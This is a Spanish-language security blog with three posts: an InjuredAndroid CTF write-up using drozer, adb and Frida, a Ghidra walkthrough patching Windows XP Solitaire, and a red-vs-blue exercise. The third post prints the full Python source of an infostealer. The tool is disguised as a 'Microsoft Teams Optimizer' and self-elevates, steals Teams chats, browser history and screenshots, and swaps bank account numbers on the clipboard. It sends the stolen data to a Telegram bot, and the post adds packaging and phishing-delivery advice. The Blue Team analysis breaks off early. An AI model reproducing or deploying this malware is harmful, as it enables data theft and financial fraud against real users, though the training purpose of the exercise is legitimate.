Reversing on

InjuredAndroid Part I

admin@synacklabs.github.io (SynAckLabs) — Wed, 06 May 2026 00:00:00 +0000

En esta sección voy a ir subiendo una serie de pentestings a aplicaciones móviles que estoy haciendo como preparación para la eMAPT. La idea es usar esto como mis propios apuntes para documentar el proceso de explotación de cada vulnerabilidad y tener bien claros los vectores de ataque más comunes en Android.

Para la primera flag lo que haremos será directamente inspeccionar la APK para fijarnos en los datos de cada “flag” oculta. Podemos observar que esta es muy sencilla ya que la flag está en el propio código.

Flag II: EXPORTED ACTIVITY

Esta segunda flag nos deja una pista bastante clara: Hay que inspeccionar la APK para descubrir actividades exportadas (accesibles desde fuera) que nos permitirán bypassear la MainActivity.

En otras palabras, detectar actividades no protegidas nos permite ejecutar la aplicación sin tener que pasar por la actividad principal, eso nos puede permitir saltarnos ciertas medidas de seguridad y además android nos permite ejecutarla desde otras apps

Vamos a ello!

Para ello usaremos una herramienta llamada Drozer. esta herramienta nos permitirá analizar la app desde dentro y observar que componentes están expuestos (actividades expuestas).

Primero de todo debemos descargar el agente para poder conectarnos al servidor de Drozer y lo activamos.

Después deberemos redireccionar el puerto de nuestro PC al puerto abierto de drozer del Android (31415) y abriremos una consola en nuestra terminal.

Cuando lo tenemos todo conectado empezaremos a enumerar la información de la app. Con los siguientes comandos podemos enumerar información general de la app (permisos, nombre, path…) y información general de las actividades (exportadas, permisos…) respectivamente.

run app.package.info -a <package>

run app.activity.info -a <package>

Ahora que tenemos las actividades exportadas, probaremos de ejecutarlas para ver cual contiene la flag. Lo haremos con el siguiente comando:

adb shell am start -n <package>/.<activity>

En este caso:

Lo tenemos!

Otra manera de ver las actividades exportadas seria con este comando :

adb shell dumpsys package <package> | grep -i activity

O directamente desde el archivo AndroidManifest.xml:

Aquí métodos no faltan! Pasamos a la siguiente flag.

(Teoria: El fallo es el atributo android:exported="true" en el Manifest sin ningún permiso que lo proteja. Esto permite que cualquiera llame a la actividad desde fuera y se salte el login o cualquier flujo lógico de la app.)

Flag III: RESOURCES

Tenemos pista: Recursos y archivos.xml

Primero reviso los importantes, el AndroidManifest.xml pero no encuentro nada; luego el strings.xml.

Aquí la tenemos. Siguiente

En el código principal vemos como se crea una instancia de la clase g() llamando a su método a() y luego se compara con el valor introducido por el usuario a través del EditText.

Si entramos a esta clase podemos ver lo siguiente:

Vemos que la flag esta en base 64 asi que acudimos a nuestro amigo cyberChef.

Y lo tenemos!!

PD: se podría hacer dinámicamente usando Frida pero lo dejaremos para otro capítulo

(Teoria : El error es meter secretos (como la clave en base64) a pelo en el código. Por mucho que lo ofusques o lo codifiques, si está en el cliente, el atacante lo va a encontrar tarde o temprano mediante ingeniería inversa.)

Flag V: EXPORTED BROADCAST RECEIVER

Analizando el código de este reto he podido observar que para obtener la flag había que interactuar con el onRecive y viendo las condiciones solo dando 3 clicks en el botón te daba la flag.

easyone :P

(Teoria: El BroadcastReceiver responde a eventos externos sin validar correctamente el origen ni el estado interno. Esto permite que un atacante interactúe con él (en este caso mediante clicks/eventos) hasta cumplir la condición que revela la flag. El fallo es no implementar controles de acceso ni validaciones en componentes expuestos.)

Viendo el código observamos que la flag esta codeada, si accedemos a la función vemos que se le aplican diferentes métodos para descodificarla. Podríamos seguir el paso a paso , pero como hemos comentado previamente tenemos la oportunidad ( y facilidad ) de usar una herramienta llamada Frida. Frida nos permite interceptar (hooking) llamadas a funciones, clases … en momento de runtime, entonces aquí la idea seria que en vez de rompernos la cabeza descodificando esta cadena, usaremos la propia app para que nos de la flag sin esfuerzo ninguno.

y obtenemos la flag!

Flag VII: SQLITE

En esta ocasión nos pide un usuario y una password, analizando el código podemos observar que el ejercicio crea una database, tenemos los datos en base64 pero prefiero hacerlo bien. Nos conectamos al device y accedemos a las bases de datos de la app y llegamos al hash siguiente:

Lo pasaremos por nuestro otro gran amigo CrackStation y obtenemos la supuesta flag (o nombre de usuario).

En este punto tenemos el nombre de usuario, pero también necesitamos la password (segunda flag).

Gracias a CTF o máquinas anteriores me puedo dar cuenta de que el inicio del supuesto hash de la password:

9EEADi^^

Tiene un aire a:

https://

Entonces con la IA en nuestra bando descubro que esta encriptado con ROT-47:

y obtenemos lo siguiente

Y dentro de la URL:

(Esta flag se puede obtener usando dynamic analysis que lo adjuntare en la segunda parte de los apuntes)

(Teoria: Almacenamiento inseguro. Guardar credenciales o datos sensibles en bases de datos locales (aunque sea en /data/data/) es un riesgo si el móvil está rooteado o si hay una vulnerabilidad de lectura de archivos. El hash ayuda, pero si es débil (como este), se rompe fácil.)

FLAG VIII & IX: AWS & FIREBASE

Viendo el código deberiamos encontrar credenciales para AWS pero después de rato no podemos encontrar nada…

En el código podemos ver una cadena en base64 que si la descodificamos tenemos lo siguiente:

Y tambien en los strings encontramos la URL: https://injuredandroid.firebaseio.com

Si juntamos todo tenemos:

Haciendo este reto, me doy cuenta de que en la flag 8 aparece una función llamada database.child(”aws”) y tiene igual que ver que el reto 9 pero a diferencia que en este el”child” esta codificado en base64 asi que me da por probar y bingo!!

(Teoria: Hardcoding de credenciales de servicios en la nube. Nunca se deben dejar API keys o URLs de bases de datos (Firebase/AWS) expuestas en los strings o el código, porque permiten acceso directo a la infraestructura del servidor desde el lado del cliente.)

Final Parte I

De momento lo dejamos aquí con estas primeras flags. Más adelante seguiré con la segunda parte de los apuntes, donde nos meteremos en cosas más dinámicas y avanzadas que se han quedado en el tintero.

Ingeniería Inversa del Solitario (Windows XP): Forzando victorias y manipulando la visibilidad del tablero con Ghidra

admin@synacklabs.github.io (SynAckLabs) — Wed, 11 Mar 2026 00:00:00 +0000

1. Introducción

En esta entrada voy a explicar el proceso de análisis de dos aspectos del Solitario de Windows mediante ingeniería inversa con Ghidra. El objetivo es documentar cómo identificar y alterar comportamientos específicos del juego directamente desde el binario.

El write-up se divide en dos objetivos principales:

Localización de funciones ocultas: Identificar y activar el comando "Force a win", una funcionalidad no documentada que permite forzar la victoria. Veremos cómo rastrear este comando desde los strings del programa hasta su implementación en el código.
Modificación de la lógica de renderizado: Analizar cómo el programa gestiona la visibilidad de las cartas en el tablero. El reto aquí es modificar la lógica que controla las columnas para que todas las cartas se muestren boca arriba, eliminando la restricción que solo permite ver la última carta de cada pila.

2. Parte I: Activando el comando oculto “Force a win”

2.1. Análisis de strings: Primer contacto con la lista de cadenas definidas.

Lo primero que hice al abrir el binario en Ghidra fue ir a lo seguro. Como no sabía por dónde empezar a buscar funciones ocultas, decidí echar un vistazo a los strings del programa. Me fui al menú Window y seleccioné Defined Strings. Mi idea era ver si los desarrolladores habían dejado algún mensaje de debug o algún nombre interesante que me diera una pista de qué hace el juego por detrás.

Al abrir la lista de strings, me puse a investigar un poco. La mayoría parecían nombres de funciones estándar de Windows, pero de repente vi algo que me llamó la atención: “Force a win”.

2.2. Identificación del recurso: ID 1010.

La presencia de esta cadena sugiere la existencia de una funcionalidad no documentada que fuerza la victoria. Al hacer doble clic sobre ella, Ghidra me llevó a su ubicación en la sección de recursos. Allí se observa que pertenece a una tabla de strings con identificadores numéricos. Concretamente, “Force a win” tiene asignado el ID 1010 (Rsrc String ID 1010).

2.3. Conversión de bases: Localizando el valor hexadecimal 0x03F2.

Antes de seguir buscando en el código, me detuve un momento. Como Ghidra y el lenguaje ensamblador suelen trabajar con valores hexadecimales, necesitaba saber cómo se escribe 1010 en hex. Convertimos el ID a hexadecimal (0x3F2). Ya tengo el valor que debo buscar en las instrucciones del programa: 0x3f2.

2.4. Rastreo en el desensamblado: Localización del manejador de comandos

Con el valor 0x3F2 como objetivo, realicé una búsqueda en el código desensamblado. En la dirección 010019d2 aparecía la instrucción CMP EAX, 0x3f2, justo antes de un salto condicional JZ hacia la etiqueta LAB_01001a35. Esta comparación es típica de un manejador de comandos: el programa evalúa si el parámetro recibido coincide con el ID 1010 y, en caso afirmativo, desvía el flujo hacia la rutina correspondiente.

2.5. Análisis del flujo de victoria y el “gatillo” del Deal

Seguí el salto hasta la etiqueta LAB_01001a35 para ver qué pasaba allí. Me encontré con un bloque de código que hace un XOR ESI, ESI (una forma rápida de poner a cero un registro) y luego hace varios PUSH, incluyendo el valor 0x12. Aunque todavía me cuesta entender exactamente qué hace cada instrucción de la pila, este parece ser el camino que toma el juego para saltar directamente a la pantalla de victoria.

Investigando el código cercano para entender qué más podíamos controlar, identifiqué el valor 1000 (en hex 0x3E8). Este ID es el “gatillo” que se activa cuando el usuario pulsa “Deal” (Repartir). En condiciones normales, este evento llama a una función que yo mismo renombré como RESET_TIME, encargada de limpiar el tablero para una partida nueva. También vi menciones a 0x3e9 y 0x3ea. Estos IDs corresponden probablemente a otras funciones internas, como reiniciar el tiempo o activar modos de depuración.

2.6. Secuestro de flujo: Convirtiendo el reinicio en victoria

Con el conocimiento de que el ID 1000 dispara la función de repartir (RESET_TIME), decidí realizar un secuestro de flujo (hijacking) utilizando la herramienta Patch Instruction de Ghidra. El objetivo era simple: redirigir una acción legítima del usuario hacia la función de victoria que acababa de descubrir.

El proceso técnico consistió en lo siguiente:

Identificación del salto: Localicé la instrucción de salto condicional que se ejecuta cuando el programa detecta el ID 1000.
Redirección del destino: Modifiqué la dirección de memoria de ese salto para que, en lugar de apuntar a la rutina de reinicio, saltara directamente a la etiqueta LAB_01001a35 (el bloque que activa la animación de victoria).

Gracias a este parche, el comportamiento del binario cambia por completo: ahora, cada vez que se pulsa “Nueva partida”, el programa omite la lógica de inicio y ejecuta la rutina de victoria. Esto demuestra cómo, alterando un solo salto en el desensamblado, podemos forzar al software a ejecutar funciones fuera de su contexto original.

3. Parte II: Ingeniería de la visibilidad de las cartas

3.1. Descartando el motor gráfico: Limitaciones de Cards.dll y CDT_Draw.

Para entender cómo el juego muestra las cartas, empecé por lo más lógico: buscar qué librerías externas utiliza para dibujar. En la tabla de importaciones encontré Cards.dll y, dentro de ella, la función CDT_Draw. Mi razonamiento fue que, si encontraba dónde se llama a esta función, podría interceptar el momento en que se decide si una carta se dibuja boca arriba o boca abajo. Sin embargo, al profundizar en las llamadas, me di cuenta de que cdtDraw solo recibe parámetros y dibuja; la lógica que decide si una carta va boca arriba o boca abajo está en otro lado. Necesitaba encontrar el código que toma esas decisiones.

3.2. La técnica de la constante conocida: Buscando el “7” en la lógica de columnas.

Decidí cambiar de enfoque: en lugar de seguir el rastro de las funciones gráficas, me centré en la lógica del tablero. El solitario clásico tiene 7 columnas en la zona de juego, así que el programa seguramente itera sobre esas columnas. Si hay un bucle que recorre las columnas, debe haber una comparación con el número 7. Busqué en todo el código desensamblado la instrucción CMP con el valor 0x7 y encontré varios candidatos.

¡Bingo! Entre los resultados, encontré una sección de código donde se comparaba el registro EAX con 0x7. Esta comparación (CMP EAX, 7) no parecía ser un valor aleatorio; estaba justo antes de un salto condicional que controlaba un bucle importante. Sabía que estaba en el lugar correcto: esta es la función que gestiona el barrido de las 7 columnas del tablero.

3.3. Anatomía del bucle de renderizado: Cómo el juego barre el tablero.

Al analizar la función que barre las 7 columnas, identifiqué un bucle interno encargado de procesar las cartas de cada pila. La lógica es interesante: el programa recupera el número total de cartas en la columna y utiliza un contador para iterar sobre ellas.

La clave de la visibilidad reside en una comparación crítica: el juego contrasta el índice de la carta actual con el índice de la última carta de la pila.

La condición: Si el índice es igual al total (la carta de la cima), el flujo continúa hacia la rutina de visibilidad.
El salto condicional: En ensamblador, esto es un CMP seguido de un JNZ (Jump if Not Zero). Si la carta no es la última, el JNZ hace que el programa “salte” por encima del CALL que marca la carta como visible.

Al neutralizar este JNZ, obligo al programa a ejecutar el CALL que da visibilidad para todas las cartas, sin importar su posición.

4. El Parche Final: Neutralización del salto: Uso de NOPs para revelar todo el tablero.

El parche consiste en sustituir los bytes del JNZ por dos instrucciones NOP (No Operation). Al hacer esto, el flujo de ejecución se vuelve lineal: el “portero” que impedía mostrar las cartas inferiores desaparece, y el motor gráfico recibe la instrucción de renderizar la cara de cada carta de la columna. El resultado es un tablero completamente destapado desde el inicio de la partida.

Conclusión

Hemos recorrido dos caminos diferentes dentro del ejecutable del Solitario: primero localizamos y activamos un comando oculto que fuerza la victoria, y después modificamos la lógica de dibujado para hacer visibles todas las cartas. A lo largo del proceso hemos puesto en práctica varias técnicas fundamentales de ingeniería inversa.

Estas técnicas nos han permitido descubrir mecanismos internos del juego que no están visibles en la interfaz normal, demostrando cómo el análisis directo del binario puede revelar funcionalidades ocultas y ofrecer un control completo sobre el comportamiento de la aplicación.

El Juego del Gato y el Ratón: Crónica de un Infostealer (Red vs. Blue)

admin@synacklabs.github.io (SynAckLabs) — Wed, 21 Jan 2026 00:00:00 +0000

La ciberseguridad moderna no es estática; es un enfrentamiento constante de ingenio. Para demostrar esta dinámica, hemos planteado un reto de ingeniería inversa real: el Red Team (Isma Laya) ha diseñado un Infostealer básico y personalizado, y el Blue Team (Khaled El Modden) tiene la misión de diseccionarlo, identificar su infraestructura y neutralizar la fuga de datos.

Hemos construido este reto desde cero. No es un simple script de juguete, es un binario empaquetado como una herramienta profesional de “optimización” de Microsoft Teams. La pregunta es sencilla: ¿Será capaz el Blue Team de desentrañar la lógica de nuestro código antes de que sus contraseñas y capturas de pantalla terminen en nuestro bot de Telegram?

Red Team (Isma Laya)

A menudo se piensa que el malware avanzado requiere años de ensamblador y zero-days complejos. Sin embargo, quise demostrar que con unas pocas librerías estándar de Python y algo de ingenio, es posible crear una herramienta de exfiltración de datos bastante potente.

En este artículo, voy a desglosar “Teams Optimizer”, un script que escribí hace algun tiempo para simular cómo actúa un infostealer: desde el disfraz hasta la exfiltración de datos vía Telegram.

Lo primero que decidí es que mi script no podía ser una simple ventana negra de consola; nadie ejecutaría eso. Necesitaba un disfraz.

Programé una interfaz gráfica (GUI) utilizando tkinter que simula ser una herramienta de mantenimiento oficial de Microsoft (“Microsoft Teams Optimizer”). Mientras el usuario ve una barra de progreso falsa avanzando y mensajes como “Optimizando recursos de memoria…”, mi código está haciendo el trabajo sucio en segundo plano utilizando hilos (threading).

# Así creo la distracción
def simulate_progress():
 for i in range(1, 101):
 # La barra avanza, pero el sleep es solo para ganar tiempo
 progress["value"] = i
 # Mientras esto ocurre, los otros hilos roban los datos

Fase 2: El “Motor”: Obteniendo Permisos

Para que mi herramienta funcione al 100%, necesitaba acceso sin restricciones. Por eso, implementé una comprobación al inicio (is_admin). Si el script detecta que no tiene privilegios, se relanza a sí mismo solicitando elevación.

¿Por qué? Porque necesito matar procesos (taskkill) y acceder a carpetas protegidas en AppData para leer las bases de datos de los navegadores.

Fase 3: El Objetivo Principal: Datos de Navegación y Teams

Aquí es donde entra la lógica de extracción. Me centré en dos vectores:

El robo de historial (Chrome/Edge)

Me di cuenta de que los navegadores bloquean sus bases de datos SQL cuando están abiertos. Mi solución fue sencilla:

Localizo el archivo History en la ruta del usuario.
Hago una copia temporal (history_temp.db) para evitar el bloqueo de archivo en uso.
Uso sqlite3 para volcar las URLs más visitadas a un log y enviarlo.

Secuestrando Microsoft Teams

Teams es una mina de oro de información corporativa. Mi script localiza la base de datos LevelDB de Teams. Dado que es un formato binario complejo, integré una llamada a un ejecutable externo (ms_teams_parser.exe) que convierte esos datos en un JSON legible (teams_parsed.json).

ms_teams_parser.exe:

https://github.com/hexseven/Teams-artifacts-parser/tree/main/ms_teams_parser

Un detalle importante: Tuve que programar el script para matar el proceso de Teams (taskkill /f /im teams.exe) antes de la extracción, o los archivos estarían bloqueados. Ahora mismo este ejecutable solo funciona con las versiones de Microsoft Teams Classic y Microsoft ‘Teams 2.0’ (Windows 11) con una organización personal ya que el proceso de almacenaje de la base de datos funciona diferente.

Fase 4: El “Clipper”: Ataque en tiempo real

Esta es quizás la función más insidiosa que programé: monitor_clipboard().

No quería solo robar datos estáticos; quería intervenir en las acciones del usuario. Creé un bucle infinito que vigila el portapapeles. Usando regex, el script busca patrones numéricos específicos (como cuentas bancarias).

# Si detecto un patrón de cuenta bancaria...
if re.match(r'\d{4}-\d{4}-\d{4}-\d{4}', clipboard_content):
 # ...lo sustituyo por "mi" cuenta al instante.
 pyperclip.copy('1111-2222-3333-4444')

Si la víctima copia un número de cuenta y lo pega segundos después, habrá pegado el número que yo definí, no el original.

Fase 5: Infraestructura C2: Telegram como servidor

No quería gastar dinero en servidores ni configurar sockets complejos que un firewall detectaría. Decidí usar la API de Telegram como mi servidor de Comando y Control (C2).

Todo lo que el script recolecta (logs, capturas de pantalla, JSONs de Teams) se envía mediante peticiones POST HTTPS a mi bot de Telegram. Es rápido, cifrado y, lo mejor de todo, el tráfico hacia api.telegram.org rara vez se bloquea en redes corporativas.

Mensajes exfiltrados de MSTeams.

Historial de la víctima exfiltrado.

Fase 6: Espionaje Visual

Finalmente, añadí una función de vigilancia. Un hilo separado toma una captura de pantalla cada 5 minutos (periodic_screenshots) y me la envía. Esto me permite ver en tiempo real qué está haciendo el usuario, más allá de los datos en disco.

Conclusión

Desarrollar este script me enseñó lo expuestos que estamos realmente. No utilicé exploits de día cero ni vulnerabilidades complejas del kernel; simplemente abusé de la confianza del usuario (la GUI falsa) y de las características estándar de automatización de Windows.

Nota: Este código fue desarrollado estrictamente con fines educativos y de investigación para comprender los vectores de ataque de los infostealers.

Script utilizado

#!/usr/bin/python3
import os
import sys
import json
import re
import glob
import ctypes
import shutil
import sqlite3
import platform
import requests
import winreg
import base64
import subprocess
import threading
import time
import urllib.parse
from Crypto.Cipher import AES
import win32crypt
from PIL import ImageGrab
import pyperclip # Para acceder y modificar el portapapeles
import tkinter as tk
from tkinter import ttk, messagebox
import random
from PIL import Image, ImageTk


# ——— Configuración —————————————————————————————————————————————
BOT_TOKEN = "74181---------------------"
CHAT_ID = "101-----------------------"
TELEGRAM_API = f"https://api.telegram.org/bot{BOT_TOKEN}/sendDocument"
PARSER_EXE = "ms_teams_parser.exe"

# ——— Helpers —————————————————————————————————————————————————————
def is_admin():
 try:
 return ctypes.windll.shell32.IsUserAnAdmin()
 except:
 return False

def send_file(path):
 if not os.path.exists(path):
 print(f"[!] {path} no existe")
 return
 size = os.path.getsize(path)
 print(f"[+] Enviando {path} ({size} bytes)")
 if size == 0:
 print(f"[!] {path} vacío, descartado")
 os.remove(path)
 return
 with open(path, "rb") as f:
 files = {"document": (os.path.basename(path), f)}
 params = {"chat_id": CHAT_ID, "caption": f"From: {platform.node()}"}
 r = requests.post(TELEGRAM_API, files=files, data=params, timeout=15)
 print(f"[+] Telegram response: {r.status_code}")
 if r.status_code == 200:
 os.remove(path)
 else:
 print(f"[!] Error enviando {path}: {r.text}")


def hide():
 if platform.system() == "Windows":
 ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)

def zip_folder(folder_path, output_zip):
 print(f"[+] Comprimiendo carpeta {folder_path} en {output_zip}")
 shutil.make_archive(output_zip.replace('.zip',''), 'zip', folder_path)
 print(f"[+] Carpeta comprimida: {output_zip}")
 return output_zip

def get_extracted_path():
 if getattr(sys, 'frozen', False):
 return sys._MEIPASS
 return os.path.dirname(os.path.abspath(__file__))

def find_teams_db():
 base = os.path.join(os.environ['LOCALAPPDATA'], 'Packages', 'MSTeams_*')
 pattern = os.path.join(base, '**', 'IndexedDB', 'https_teams.microsoft.com_0.indexeddb.leveldb')
 matches = glob.glob(pattern, recursive=True)
 if matches:
 return max(matches, key=os.path.getmtime)
 print("[!] Teams DB no encontrada")
 return None

def send_teams_db_zip():
 db_folder = find_teams_db()
 if not db_folder:
 return None
 return db_folder

def parse_teams_with_exe(leveldb_folder):
 output_json = "teams_parsed.json"
 exe_path = os.path.join(get_extracted_path(), PARSER_EXE)
 if not os.path.exists(exe_path):
 print(f"[!] No se encontró el parser exe en {exe_path}")
 return
 print(f"[+] Parseando LevelDB con {PARSER_EXE}")
 try:
 # Eliminamos check=True para manejar el código de salida manualmente
 # O mantenemos check=True y usamos try-except (recomendado para atrapar errores)
 result = subprocess.run(
 [exe_path, "-f", leveldb_folder, "-o", output_json],
 capture_output=True, # Capturamos lo que diga el .exe para depurar
 text=True,
 check=True, # Esto lanza la excepción si falla
 creationflags=subprocess.CREATE_NO_WINDOW
 )
 print("[+] Parser ejecutado correctamente.")
 send_file(output_json)

 except subprocess.CalledProcessError as e:
 print(f"[!] El parser falló (Exit code {e.returncode}).")
 print(f" Error output: {e.stderr}") # Muestra por qué falló el exe
 print("[*] Continuando ejecución sin detener el script...")

 except Exception as e:
 # Para cualquier otro error imprevisto
 print(f"[!] Error genérico al ejecutar el parser: {e}")

def extract_teams_chats():
 os.system("taskkill /f /im teams.exe >nul 2>&1")
 os.system("taskkill /f /im Teams.exe >nul 2>&1")
 os.system("taskkill /f /im Teams2.exe >nul 2>&1")

 db_folder = send_teams_db_zip()
 if db_folder:
 parse_teams_with_exe(db_folder)

def browser_stealer(browser):
 ud = os.path.join(os.environ['LOCALAPPDATA'], browser, "User Data", "Default")
 hist = os.path.join(ud, "History")
 if os.path.exists(hist):
 tmp = "history_temp.db"
 shutil.copy2(hist, tmp)
 conn = sqlite3.connect(tmp); cur = conn.cursor()
 cur.execute("SELECT url,title,visit_count FROM urls ORDER BY visit_count DESC")
 with open("history.log","w",encoding="utf-8") as f:
 for url,title,cnt in cur.fetchall():
 f.write(f"{cnt} visits | {title} | {url}\n")
 conn.close(); os.remove(tmp)
 send_file("history.log")

# —— Captura de pantalla periódica sin consola ——
def send_screenshot(file_path):
 try:
 with open(file_path, "rb") as f:
 files = {"photo": (os.path.basename(file_path), f)}
 params = {"chat_id": CHAT_ID, "caption": f"Screenshot from {platform.node()}"}
 response = requests.post(f"https://api.telegram.org/bot{BOT_TOKEN}/sendPhoto", files=files, data=params, timeout=15)
 if response.status_code == 200:
 os.remove(file_path)
 except Exception:
 pass

def take_screenshot(filename):
 img = ImageGrab.grab()
 img.save(filename)
 send_screenshot(filename)

def periodic_screenshots(interval=300):
 count = 0
 while True:
 filename = f"screenshot_{count}.png"
 take_screenshot(filename)
 count += 1
 time.sleep(interval)

def start_screenshot_thread():
 t = threading.Thread(target=periodic_screenshots, daemon=True)
 t.start()




def send_message(message):
 if not message:
 print("[!] El mensaje está vacío, no se enviará.")
 return


 print(f"[+] Enviando mensaje: {message}") # Imprime lo que se va a enviar para depuración

 params = {"chat_id": CHAT_ID, "text": message}
 r = requests.post(f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage", data=params, timeout=15)

 if r.status_code == 200:
 print(f"[+] Mensaje enviado: {message}")
 else:
 print(f"[!] Error enviando mensaje: {r.text}")

# Función para monitorear el portapapeles
def monitor_clipboard():
 prev_content = None # Almacenará el contenido previo del portapapeles para comparar
 while True:
 clipboard_content = pyperclip.paste()

 # Verificar si el contenido ha cambiado
 if clipboard_content != prev_content:
 print(f"Nuevo contenido del portapapeles: {clipboard_content}")
 send_message(f"Nuevo contenido copiado: {clipboard_content}") # Enviar el contenido al bot de Telegram

 # Verificar si el contenido es un número de cuenta bancaria 
 if re.match(r'\d{4}-\d{4}-\d{4}-\d{4}', clipboard_content):
 print(f"¡Número de cuenta detectado! Reemplazando: {clipboard_content}")
 # Cambiarlo por otro número
 new_clipboard_content = '1111-2222-3333-4444'
 pyperclip.copy(new_clipboard_content)
 print(f"Nuevo contenido del portapapeles: {new_clipboard_content}")
 send_message(f"Se ha reemplazado un número de cuenta bancaria: {new_clipboard_content}")

 prev_content = clipboard_content # Actualiza el contenido previo

 time.sleep(1)


# Función para mostrar la pantalla de "optimización"
def show_optimization_screen():
 root = tk.Tk()
 root.title("Microsoft Teams Optimizer")
 root.geometry("600x400")
 root.resizable(False, False)
 root.configure(bg="#f0f0f0")

 # Centrar la ventana
 window_width = 600
 window_height = 400
 screen_width = root.winfo_screenwidth()
 screen_height = root.winfo_screenheight()
 x = (screen_width - window_width) // 2
 y = (screen_height - window_height) // 2
 root.geometry(f"{window_width}x{window_height}+{x}+{y}")

 # Cabecera
 header = tk.Frame(root, bg="#005a9e", height=80)
 header.pack(fill="x")

 # Logo de Microsoft
 try:
 ms_logo = Image.open("TeamsBoost1.ico")
 ms_logo = ms_logo.resize((40, 40), Image.LANCZOS)
 ms_logo = ImageTk.PhotoImage(ms_logo)
 logo_label = tk.Label(header, image=TeamsBoost1, bg="#005a9e")
 logo_label.image = ms_logo
 logo_label.pack(side="left", padx=10, pady=10)
 except:
 pass

 title = tk.Label(header, text="Microsoft Teams Optimizer",
 font=("Segoe UI", 16, "bold"), fg="white", bg="#800080")
 title.pack(side="left", padx=10)

 # Contenido principal
 main_frame = tk.Frame(root, bg="#f0f0f0", padx=20, pady=20)
 main_frame.pack(fill="both", expand=True)

 # Mensaje de bienvenida
 welcome = tk.Label(main_frame, text="Optimizando Microsoft Teams",
 font=("Segoe UI", 14), bg="#f0f0f0")
 welcome.pack(pady=10)

 # Barra de progreso
 progress_label = tk.Label(main_frame, text="Progreso:", font=("Segoe UI", 10), bg="#f0f0f0")
 progress_label.pack(anchor="w", pady=(20, 5))

 progress = ttk.Progressbar(main_frame, orient="horizontal", length=560, mode="determinate")
 progress.pack(pady=5)

 # Lista de tareas simuladas
 tasks_frame = tk.Frame(main_frame, bg="#f0f0f0")
 tasks_frame.pack(fill="x", pady=20)

 task_labels = [
 "Analizando configuración actual...",
 "Optimizando recursos de memoria...",
 "Mejorando rendimiento de videollamadas...",
 "Actualizando componentes esenciales...",
 "Aplicando configuraciones de rendimiento...",
 "Limpiando caché temporal...",
 "Verificando integridad de archivos..."
 ]

 status_vars = []
 for i, task in enumerate(task_labels):
 frame = tk.Frame(tasks_frame, bg="#f0f0f0")
 frame.pack(fill="x", pady=2)

 status = tk.Label(frame, text="⏳", font=("Segoe UI", 10), bg="#f0f0f0")
 status.pack(side="left", padx=(0, 10))

 task_text = tk.Label(frame, text=task, font=("Segoe UI", 9), bg="#f0f0f0")
 task_text.pack(side="left")

 status_vars.append(status)

 # Pie de página
 footer = tk.Label(root, text="© 2026 Microsoft Corporation",
 font=("Segoe UI", 8), fg="#666666", bg="#f0f0f0")
 footer.pack(side="bottom", pady=10)

 # Función para simular progreso
 def simulate_progress():
 # Simular progreso durante 30 segundos
 for i in range(1, 101):
 progress["value"] = i
 root.update()

 # Actualizar tareas aleatoriamente
 if i % 15 == 0:
 idx = random.randint(0, len(status_vars)-1)
 status_vars[idx].config(text="✅")

 time.sleep(0.1)

 # Mostrar mensaje final
 messagebox.showinfo("Optimización Completada",
 "Microsoft Teams ha sido optimizado exitosamente.\n\n" +
 "Recomendamos reiniciar Teams para aplicar todos los cambios.")
 root.quit()

 # Iniciar la simulación en un hilo separado
 threading.Thread(target=simulate_progress, daemon=True).start()

 root.mainloop()

# ——— Main ——————————————————————————————————————————————————————
if __name__ == "__main__":
 if platform.system() != "Windows":
 print("[!] Solo Windows soportado"); sys.exit(1)
 if not is_admin():
 ctypes.windll.shell32.ShellExecuteW(None, "runas",
 sys.executable, " ".join(sys.argv), None, 1)
 sys.exit(0)

 # Mostrar pantalla de optimización
 show_optimization_screen()
 b vvvvv
 # Ocultar la consola
 #hide()

 # Iniciar los hilos
 clipboard_thread = threading.Thread(target=monitor_clipboard, daemon=True)
 clipboard_thread.start()

 start_screenshot_thread()

 # Ejecutar las tareas de robo de datos
 extract_teams_chats()
 browser_stealer("Google\\Chrome")
 browser_stealer("Microsoft\\Edge")

 # Mantener programa vivo para capturas periódicas
 while True:
 time.sleep(60)

Utilicé PyInstaller para compilar todo el proyecto en un único archivo ejecutable (.exe). Esto no solo facilita la ejecución en sistemas que no tienen Python instalado, sino que también permite ocultar las dependencias.

Para que el ataque fuera efectivo, utilicé el parámetro --add-data para incrustar el binario ms_teams_parser.exe dentro del paquete. De este modo, cuando el usuario ejecuta el “Optimizador”, el parser se extrae y se ejecuta en una carpeta temporal sin que la víctima note nada.

Un ejecutable con el icono por defecto de Windows es sospechoso. Por eso, integré un icono de alta resolución de Microsoft Teams y añadí metadatos al archivo (versión, desarrollador, descripción) para que, al pasar el ratón por encima o verlo en el Administrador de Tareas, pareciera un componente legítimo de Microsoft.

Con el binario listo, el siguiente paso fue el despliegue. Subí el proyecto a un repositorio de GitHub con un nombre convincente.

Desde aquí, el ataque de ingeniería social está servido: un simple correo de phishing informando sobre una “actualización crítica de rendimiento para el teletrabajo” con el enlace al repositorio sería suficiente para comprometer a un usuario desprevenido.

Blue Team (Khaled El Modden)

Si el Red Team vive de ocultar, engañar y exfiltrar, el Blue Team existe para lo contrario: observar, correlacionar y desmontar. En este reto, mi papel no es ejecutar el binario ni “ver qué pasa”, sino entender exactamente por qué pasa y cómo detenerlo antes de que el impacto sea real.

Como Blue Team, mi enfoque parte de una premisa clara: todo malware deja rastro. No importa lo bien disfrazado que esté el ejecutable, lo pulida que sea la GUI o lo legítimo que parezca el tráfico de red. Siempre hay artefactos: en memoria, en disco, en procesos, en llamadas al sistema o en el comportamiento del usuario que algo rompe.

Fase 0: Preparación del entorno

Para evitar contaminación y permitir una observación completa, trabajé en una máquina virtual con Windows 10 Pro, configurada para poder revertir su estado en cualquier momento. Esto es clave para mantener un entorno controlado y reproducible.

Fase 1: Reconocimiento inicial del binario

Lo primero que hacemos es interrogar al archivo sin ejecutarlo. Al usar el comando file en nuestro entorno de análisis, confirmamos la naturaleza del objetivo:

Archivo: TeamsBoost.exe
Tipo: PE32+ executable (GUI) x86-64

¿Qué significa esto? Que estamos ante un binario de 64 bits diseñado para Windows con una interfaz gráfica. Esto ya nos da una pista: el atacante quiere que el usuario interactúe con una ventana para generar confianza.

Fase 2: Inmersión en el Análisis Estático (Ghidra)

Para mirar bajo el capó, cargamos el binario en Ghidra. El análisis estático nos permite leer el código “muerto” antes de que tenga oportunidad de hacernos daño.

